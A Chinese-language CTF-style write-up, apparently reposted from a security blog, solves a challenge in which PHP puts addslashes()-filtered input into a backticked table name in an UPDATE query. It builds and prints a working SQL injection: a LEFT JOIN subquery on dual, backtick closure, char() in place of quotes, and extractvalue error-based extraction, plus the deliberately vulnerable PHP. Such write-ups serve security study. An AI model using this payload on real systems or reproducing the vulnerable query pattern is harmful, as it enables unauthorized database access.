p牛在群里面出了一个好玩的题目,正好晚上空虚寂寞冷,就做一下暖暖身子,题目是: - <?php
- $link = mysqli_connect('localhost', 'root', 'root');
- mysqli_select_db($link, 'code');
- $table = addslashes($_GET['table']);
- $sql = "UPDATE `{$table}`
- SET `username`='admin'
- WHERE id=1";
- if(!mysqli_query($link, $sql)) {
- echo(mysqli_error($link));
- }
- mysqli_close($link);
复制代码- UPDATE student D
- LEFT JOIN (SELECT
- B.studentId,
- SUM(B.score) AS s_sum,
- ROUND(AVG(B.score),1) AS s_avg
- FROM score B
- WHERE b.examTime >= '2015-03-10'
- GROUP BY B.studentId) C
- ON (C.studentId = D.id)
- SET D.score_sum = c.s_sum,
- D.score_avg = c.s_avg
- WHERE D.id =
- (
- SELECT
- E.id FROM
- (
- SELECT
- DISTINCT a.studentId AS id
- FROM score A
- WHERE A.examTime >= '2015-03-10'
- ) E
- WHERE E.id = D.id
- )
- AND d.age = 1;
复制代码可以看到他引入了子查询在update语句里面,而且子查询的位置刚刚好在我想要的地方,于是我构造一个这样的子查询: - update `table` t left join (select id from `table`) tt on tt.user=t.username set username ='admin' where id=1;
复制代码但是报错:ERROR 1052 (23000): Column 'id' in where clause is ambiguous 原因是:是因为多表查询的时候几个表中同时出现了某个相同的列名, 所以不能出现相同的列名,但是,我除了table表以外不知道数据库的其他表了,或者根本就只有一个表,所以我就要用mysql的虚表dual, - update `table` t left join (select ‘1’ as user from dual) tt on tt.user=t.username set username ='admin' where id=1;
复制代码我这里用select ‘1’ as user from dual 把’1’这个字段重命名是要满足后面on的条件,及:on tt.user=t.username 而且这里要用‘1’而不是用数字是因为tale表里面的username类型是varchar类型 执行后面发现可以正常更新,也就是说成功的引入了一个子查询在我想要的地方,那么后面的事情就简单很多了,直接引入一个报错注入的语句在子查询里面就可以了初期的答案是: - table` t left join (select '1' as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username
复制代码注入后完整sql语句 - update `table` t left join (select \‘1\’ as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username`
- set username ='admin'
- where id=1
复制代码 我很快的发现两个问题 1.注入后的反引号没有闭合2.就是单引号被转义掉了
解决第一个问题就是在on的最后一个字段上加入一个反引号,让他和后面的的反引号闭合 解决第二个问题就是把出现单引号的位置用char函数代替 于是完美的答案就出现了:
- http://localhost/code.php?table=table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username
复制代码 注入之后的sql语句是是:
- update `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username`
- set username ='admin'
- where id=1;
复制代码
from:http://paper.seebug.org/216/
|